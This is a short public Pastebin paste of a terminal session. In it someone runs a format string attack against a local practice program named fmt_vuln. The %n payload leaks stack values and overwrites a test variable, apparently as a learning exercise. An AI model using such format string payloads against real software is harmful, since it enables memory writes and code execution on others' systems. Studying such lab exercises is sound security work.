Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Mar 20th, 2010 | Syntax: None | Size: 0.33 KB | Hits: 70 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. massey@debian:~$ ./fmt_vuln $(printf "\x98\x97\x04\x08")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
  2. The right way to print input:
  3. ��%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
  4. The wrong way to print input:
  5. ��bffff244.b7fe4298.b7fe45fc.b7fe4298.00000000.00000000.bffff660.b7ff87f5.
  6. @@[*] test_val @ 0x08049798 = 76 0x0000004c